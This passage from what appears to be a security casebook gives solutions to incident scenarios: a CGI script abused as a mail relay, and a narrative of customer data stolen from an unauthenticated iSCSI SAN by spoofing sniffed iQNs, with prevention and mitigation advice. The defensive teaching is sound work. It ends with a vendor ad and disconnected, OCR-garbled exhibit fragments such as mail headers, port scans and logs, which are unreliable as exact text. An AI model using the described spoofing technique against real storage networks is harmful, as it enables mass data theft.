3. The mail server could have not allowed the web server to relay mail; however, this would cause a problem with sending messages to users who signed up for the free hair-growing report. One way to architect a solution would be to process those requests on another server and perhaps have the addresses verified before sending. This is substantial overhead, however, and is not required, assuming the software generating the mail is properly secured.

4. Using a well-known CGI script to handle sending messages might be an easier way to generate messages. While having a history of problems similar to the attack described, formail is now considered secure in its prevention of these types of attacks. While it is possible to configure formail to allow the type of relaying described here, by default this capability is turned off.

[image: image]   PREVENTION

To prevent this from happening in the future, Andres created a new version of the CGI script that would check to make sure the To address URL was on a list of known good addresses before mail was sent.

[image: image]   MITIGATION

Andres’s first order of business was to stop the current relaying of mail through the CGI. This was a fairly simple change to the script. Currently, the script was taking the To address from the URL. Andres quickly changed the script to send mail only to one e-mail address: feedback@hairfro.com.

ADDITIONAL RESOURCES

The Web Application Security Consortium:

 http://www.webappsec.org

CGI Security:

 http://www.cgisecurity.org

alt.html, Overview of the formail vulnerability:

 http://www.html-faq.com/cgi/?secureformmail


SOLUTION 20

The Not-So-Usual Suspects

by Himanshu Dwivedi, iSEC Partners
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When Sudhanshu reached the office, he headed right into the data center and called Sushant on the East Coast. “Sushant, what is the IP address range for the iSCSI Storage Area Network that we deployed last year?” asked Sudhanshu.

“It is slash 24 on the 172.16.0.0 network,” stated Sushant (referring to 172.16.0.1-172.16.0.254).

Sudhanshu went to a console station and logged into one of his iSCSI Storage Area Network (SAN) devices.

While the words iSCSI and SAN are not common terms understood by every tech junkie, these devices are nothing more than a UNIX or Linux operating system serving data blocks on TCP port 3260. Instead of data appearing at a file level over the network, like a file system from a file server using NTFS, it appears at the block level, like a disk drive appearing on the operating system. Instead of installing a disk drive via IDE or SCSI ribbons for extra disk space, organizations are now deploying SANs (such as iSCSI SANs) for storage expansion. Since iSCSI is available over traditional IP Ethernet networks, the flexibility of a SAN and the connectivity of IP make the solution very attractive for storage administrators. However, the lack of securing an iSCSI SAN controller has a severe impact on security. A single attack on an iSCSI network can compromise hundreds of gigs of data. Data blocks, which are presented as Logical Unit Numbers (LUNs), are divided into 100 to 200 gigabytes. A security compromise of a few LUNs can leave hundreds of gigs of data compromised with a single attack.

Sudhanshu started to look at his configuration for his iSCSI storage controller and saw exactly what he had feared. The iSCSI storage controller had several security configuration issues. First, its authentication was disabled, which is common on many iSCSI storage devices. Many storage devices disable authentication because authorization security is considered enough. iSCSI SANs use authorization techniques that allocate data LUNs to the correct Initiator Node Name (iQNs), which are similar to MAC addresses on network interface cards. A node must have the correct iQN to gain access to a particular LUN. The problem is that the iQN goes over the network in clear text and is spoofable. In fact, most iSCSI client software provides the ability to change an iQN value to any entity desired, including an iQN sniffed over the network. Using authorization on iSCSI SANs is similar to using MAC addresses for Ethernet security, an idea that was terminated by the security industry many years ago.

Even if authentication was enabled in Belwa’s iSCSI storage network, iSCSI only uses CHAP (Challenge Handshake Authentication Protocol) for authentication. CHAP has several known security issues dating back to the 1990s, including an offline dictionary attack. (See CPT, Chap Password Tester, from www.isecpartners.com/tools, a utility that performs an offline dictionary attack on iSCSI SANs using CHAP authentication.) Regardless, Belwa Financial’s iSCSI storage network had authentication disabled and authorization was the only security entity enabled, which was spoofable and sniffable over the network in the clear. This was not what Sudhanshu considered strong security.

Earlier, he witnessed how a bank had secured its vault that was full of customer valuables; however, the same could not be said for Belwa’s digital networks and data vaults. While digital networks try to protect workstations and laptops, which are similar to ATMs, and servers/databases, which are similar to bank tellers, digital networks do little to protect the entity where all the data is stored. An attacker can basically “walk” right in to a storage network, either an iSCSI SAN or an IP NAS system, and take all the data he wants. Security is an afterthought when it comes to storage networks (if it is considered at all).

Sudhanshu wondered why the organization had secured so many applications, servers, and databases in order to protect customer data, while no one had even bothered to turn on authentication or use strong authorization on the entity that held all the data in one central location. The storage network was the location that gave an attacker more than 400,000 customers’ account information with one attack class (spoofing an iQN sniffed over the network and gaining access to data).

Sudhanshu had to do one last thing to confirm what he suspected thus far. He found the ports from the network logs and verified they were was iSCSI ports, both 3205, which finds iSCSI storage devices on the network (similar to DNS but for iSCSI targets), and 3260, which is the actual data transfer port. All the network traces were using TCP ports 3205 and 3260. Additionally, he noticed the network communications were from an iSCSI controller in the SAN subnet (172.16.0.0/24) and an IP address in the DHCP subnet (the user subnet). He knew that a user workstation should never be accessing the iSCSI storage network for storage purposes. While the ability to get access to an iSCSI storage device from any network that uses IP is possible, he knew that iSCSI storage devices are normally used for server class systems, such as Exchange servers, database servers, and application servers, which don’t reside in DHCP subnets. Sudhanshu resolved the IP address of 172.16.1.117 to dhcp.user 1.172.16.1.117, which showed that this was clearly a workstation performing all these attacks.

The iSCSI compromise made sense to Sudhanshu. Why would an attacker attempt to compromise hundreds of database and application servers when all the data is residing in the iSCSI SAN and is easier to access? Also, the likelihood of someone compromising several hundred databases across the company is far more implausible than someone compromising the entity that holds all the data for the company. Securing the SAN had been ignored, and this provided a payday for the attacker (400,000 accounts’ worth).

Sudhanshu’s next task was to find the node and figure out how the attack happened. Finding the node was an easy task, as it was a test workstation sitting in a developer’s cube. The developer had loaded an instance of SQL Server on the test server and needed it for application testing. To no one’s surprise, at this point, the workstation currently had several connections from a variety of locations, shown when Sudhanshu issued the netstat-p tcp command:

[image: image]

The netstat command showed established connections using several file transfer protocols to outside IP addresses, such as SFTP and FTP. Additionally, the fifth line shows the connection established for the iSCSI connection. When Sudhanshu looked at the operating system, three tools were loaded and enabled on the machine—that made it clear that an iSCSI attack had been completed.

The Cain &Abel tool had been loaded, which was performing a Man-in-the-Middle (MITM) attack between the database server and the rest of the network. This allowed the attacker to gain access to all communication between the Exchange server and the rest of the network. Ethereal was also loaded, allowing the attacker to sniff all communication to and from the Exchange server, not just the protocols supported by Cain &Abel. Lastly, Microsoft’s iSCSI client driver was loaded on the machine. This driver software makes any operating system with a NIC into an iSCSI client, without the need of any extra hardware.

Once the attacker sniffed all the iQNs from the network, he spoofed each iQN one by one, slowly collecting the data from the iSCSI device. Luckily for the attacker, all the iSCSI LUNs were formatted for NTFS, allowing him to see the data at the file level as soon as the spoofing attack had completed. Also, since many iSCSI devices give full rights to the most recent node requesting a connection, all communication to and from the iSCSI device defaulted to the attacker-controlled workstation while the attack was being performed.

While it was clear to Sudhanshu how the attacker performed the attack from the tools running on the system, he still wondered how the attacker gained control of the workstation. Sudhanshu knew that the attacker could have used several methods to gain control of the workstation, including a worm, virus, wireless network compromise, or VPN user ID/password—or it could have been an insider job. Regardless, the workstation had an established connection to the iSCSI storage device on port 3260 and an FTP and SFTP connection to two nodes out on the Internet.

Additionally, another internal machine had an SMB connection to the workstation. At this point, Sudhanshu called a forensic expert to start on the workstation to see how or when the attacker gained control of the workstation. The fact that the attacker walked away with 1 terabyte of data with one attack method was now very clear, and very embarrassing for Belwa Financial.

[image: image] ANSWERS

1. The application security IDS information showed that many attackers were trying typical SQL injection attacks on the application. However, since the results did not contain any information with actual database information, such as column names, database names, or table names, but only generic SQL statements, Sudhanshu safely guessed that any information about an actual database structure was not exposed.

2. The network communication showed a conversation between a client from the DHCP network 172.16.1.117 and two servers on the internal network, 172.16.0.250 and 172.16.0.251, on ports 3205 and 3260. Port 3205 is the iSCSI Simple Name Server (iSNS) port that allows an iSCSI client to find any/all iSCSI devices on the network, similar to how DNS servers work. After the initial communication on port 3205, the client communicated to 172.16.0.250 on port 3260, which the iSCSI port used for data transfers. Hence, the network communication shows that a node in the DHCP subnet requested information from the iSNS server about the iSCSI devices on the network. Once that information was received, the node on the DHCP network made an iSCSI data transfer from the iSCSI storage device.

3. The most interesting item from Sudhanshu’s conversation with Larry was the fact that iSCSI storage devices were being used for the actual drives on the operating system on which the database was installed. Instead of a 500GB drive inside the system itself, the operating system was receiving its “disk drives” over the network from iSCSI storage devices. This allowed attackers to gain access to data in the database by attacking the iSCSI storage devices, bypassing any security controls placed on the database application or its underlying operating system.

4. Sudhanshu’s trip to the bank showed how an organization with items to protect, such as small accounts of cash, large amounts of cash, and more expensive/irreplaceable valuables, was protecting these items in different ways. The ATM machines had less security than the cash accessible by a bank teller; however, the bank vault, which contained the most expensive and valuable items, was protected the most. When Sudhanshu compared the bank to Belwa’s digital network, he figured out how an entity that stored all the important information of the company (and its customers) in one central location had not been secure at all, leaving it wide open to attackers. While the bank invested heavily on the security of its bank vault, Belwa Financial barely invested anything in the security of its storage network.

5. The not-so-usual suspect was the storage network. While organizations invest in a considerable amount of security for operating systems, applications, virus/worm protection, server security, database security, endpoint security, and network security, a lower investment of security (if any) is placed on the entity that stores all the data for an organization in one central location. Network or application security occupies the mind of most security groups, but the not-so-usual suspect, which also has very little security to begin with, was the culprit.

6. Proper security on the iSCSI storage device was not in place. While Belwa Financial invested large amounts of money into network and application security, the organization did not focus on the storage network. Combined with the fact that storage devices, including iSCSI, Fibre Channel, and NFS/CIFS, contain weak security standards to begin with made the storage network very attractive for information compromise.

Following are the top myths that support this issue:

[image: image] Fibre Channel and iSCSI are secure mediums of communication. Fibre Channel and iSCSI have similar security models as telnet and FTP, including the use of IP address/MAC address filtering for access control as its most preferred level of security.

[image: image] The storage network is secure because it uses some propriety and/or confusing protocol that no one knows about. “Security by obscurity” is not security.

[image: image] Network Attached Storage (NAS) devices using CIFS or NFS have the strong security settings enabled (or even available) by default. CIFS and NFS are inherently insecure. Furthermore, most NAS devices leave these protocols enabled with their default security settings, which is usually equivalent to a Windows operating system with the default settings for SMB or a UNIX operating system with the default settings for NFS, neither of which is very secure for large amounts of sensitive data.

[image: image] Authentication is required to access the storage network. Most Fibre Channel and iSCSI storage devices leave authentication disabled by default, granting access to data to any node with the correct World Wide Name or Initiator Node Name. This is equivalent to using a MAC address for security, which includes the ability to change (spoof) a MAC address (spoofing a WWN or iQN value) without the storage device knowing the difference. If authentication is enabled, weak authentication methods are used, such as CHAP, which are known to have several known security issues.

[image: image] VLANs and subnets protect a storage network from unwanted or unauthorized users on the network. Any entity that stores a large amount of sensitive information should be required to protect itself from attackers, whether it is an operating system from Microsoft, a database application from Oracle, or a storage device. Additionally, performing MITM attacks to get access to remote subnets is not difficult to do.

[image: image] Network and application security is enough to protect the data of an organization. If an organization is storing any sensitive information on a storage device, it should be as secure as any application or operating system on the network.

[image: image] Storage networks are behind the firewall, so security for storage can be an afterthought. Access to an internal network through a firewall has been proven possible for many years, including access from poor applications on the perimeter, wireless networks, VPN networks, and partner networks.

[image: image] Internal attackers who will attack the storage network or employees who are not authorized to view certain types of data (such as customer Social Security numbers or other Non-public Private Information) do not need to be a top security concern. Many government regulations, such as HIPAA, GLBA, SB1386, Sarbanes-Oxley, and Gramm-Leach-Bliley, require data to be protected from any unauthorized users, regardless of whether the user is an external attacker or an internal employee who has no business reason to have access to the data. The penalties for noncompliance with any of these laws are probably far worse than the effect of an attacker who has defaced an organization’s web page.

[image: image]   PREVENTION

Securing storage devices, including iSCSI SANs, Fibre Channel SANs, and CIFS/ NFS NAS appliances, is necessary for preventing storage security attacks. Storage networks are the most overlooked entity on a network with the largest amount of critical data. Assuming the storage network is secure is similar to thinking any Solaris, Linux, or Windows operating system with NFS or SMB enabled is secure, which simply is not the case. Audit, assess, and test your storage network for security on a regular basis to prevent such attacks.

[image: image]   MITIGATION

Tactical mitigations included enabling authentication and encryption (in-transit) between all storage devices, such as storage controllers and switches, and operating systems with Fibre Channel HBAs, iSCSI cards/software, or NFS/CIFS clients. Specifically, enable DH-CHAP on Fibre Channel SANs, CHAP with IPSec on iSCSI SANs, and Kerberos authentication on NFS/CIFS NAS networks.

ADDITIONAL RESOURCES

Guides and presentations about storage security:

 http://www.isecpartners.com/securingstorage

“Storage Security” presentation:

 http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-dwivedi.pdf

“Insecure IP Storage Networks” presentation:

 http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-dwivedi.pdf

“iSCSI Security (Insecure SCSI)” presentation:

 http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-Dwivedi-update.pdf
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Add these security books to your library!
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WHITEHAT SENTINEL CONTINUOUSLY ASSESSES WEBSITES TO FIND VULNERABILITIES BEFORE HACKERS DO.

FOR COMPANIES CONDUCTING BUSINESS ON THE WEB, WHITEHAT SENTINEL IS A MUST-HAVE TO ENSURE THE SECURITY OF CUSTOMER AND CORPORATE DATA, MAINTAIN REGULATORY COMPLIANCE, AND SAFEGUARD BRAND INTEGRITY.

 

 

 



	GET THE FACTS ABOUT YOUR WEB SECURITY: 
CONTACT SALES@WHITEHATSEC.COM
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Date: 2 Mar 2005 20:37:30 0000

ossage-TD: i10devmai1.megats

Fron: jamesddevmail.negafinco.con

To: peterédevmail .megafinco.com

Subject. New dev box.

X-Span-Checker-Version: Spamhssassin 3.0.2 (2004-11-16) on
devrail.megatinco.com

K-Span-Level.

x-Span-Status: No, score=-2.6 requixed=5.0 tests=ALL TRUSTED, W0_REAL NANE
autolearnhan version=3.0.2

status: 0

Hey Peter the new dev server is online, user and pass are the usual.
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overed open port 80/tcp on 192.168.200.3

Discovered open port 22/tep on 192.168.200.3

Discovered open port 25/tep on 192.168.200.3

Discovered open port 995/tcp on 192.168.200.3

Connect () Scan Timing: About 4.13% done; BTC: 11:32 (0:11

Connect () Scan Timing: About 18.83 done; EIC: 11:25 (0:

Discovered open port 143/tcp on 192.168.200.3

Connect.() Scan Timing: About 65.66% done; BIC: 11:21 (0:00:48 remaining

Discovered open port 993/tcp on 192.168.200.3

The Connect () Scan took 113.27s to scan 1670 total ports.

Host. 192.168.200.3 appears to be up ... good.

Interesting ports on 192.168.200.3:

(The 1662 ports scanned but not. shown below are in state: filtered)
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16:13:06, conn, 00001: Connection accepted from 65.170.137.51:1964.
16:13:09, auth, 00001: Received authentication method *none*

for user admin; responding with [publickey,password].

16:13:09, auth, 00001: Received signed public key; checking

authorization (fingerprint: a0:bS:eb:27:16:69:96:68:2d:a8:17:5d:4d:03:d5:6d)
16:13:09, auth, 00001: Searching C:\PROGRA~1\VShell\PublicKey\adnin

for matching public key.

16:13:09, auth, 00001: a0bSeb2716e996682da817534d03d564. pub

contains matching public key for user admin

16:13:09, auth, 00001 Received signed public key; attempting

authentication (fingerprint: a0:bS:eb:27:16:e9:96:68:2d:a8:17:5:4d:03:d5:6d)
16:13:09, auth, 00001: Searching C:\PROGRA~1\VShell\PublicKey\adnin

for matching public key.

16:13:09, auth, 00001: a0bSeb2716e996682da8175d4d03d564. pub

contains matching public key for user admin

16:13:10, auth, 00001 publickey for user admin accepted.

16:13:10, conn, 00001: Session channel open request accepted.
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Mar 12 02:24:07 cambo xinetd(1720]: Exiting...
Mar 12 02:24:08 conbo xinerd: xinetd shitdown succeeded

Mar 12 02:24:11 conbo xineta(21815) ; xinetd Version 2.3.10 started with
liturap cptions conpiled in.

Mar 12 02:24:11 conbo xinet(21815] : Started working: 2 available services
Mar 12 02:24:11 canbo xinetd: xinetd startup succeeded

Mar 12 02:31:34 conbo xinerd[21815]: Briting.
Mar 12 02:31:34 conbo xinetd: xinetd shitdown succesded

Har 12 02:31:35 conbo xinetd(21943]: xinetd Version 2.3.10 started with

liburap cptions canpiled in.

Mar 12 02:31:35 conbo xinetd(21943]: Started working: 2 available services

Mar 12 02:31:37 conbo xinetd: xinetd startup succeeded

Mar 12 02:37:00 conbo xineta(21996] : pmap_set failed. servicessgi_fam program=391002 version=2
Har 12 02:37:01 conbo xinetd(21996] : xinetd Version 2.3.10 started with

liturap cptions canpiled in.

Mar 12 02:37:01 conbo xinetd(21996) ; Started working: 1 available service

Mar 12 02:37:03 carbo xinetd: xinetd startup succeeded
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Customer 10 order Date
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12074 14982 03/15/2005
This is very odd, Lex. I think we might have a security probl
- Rob.
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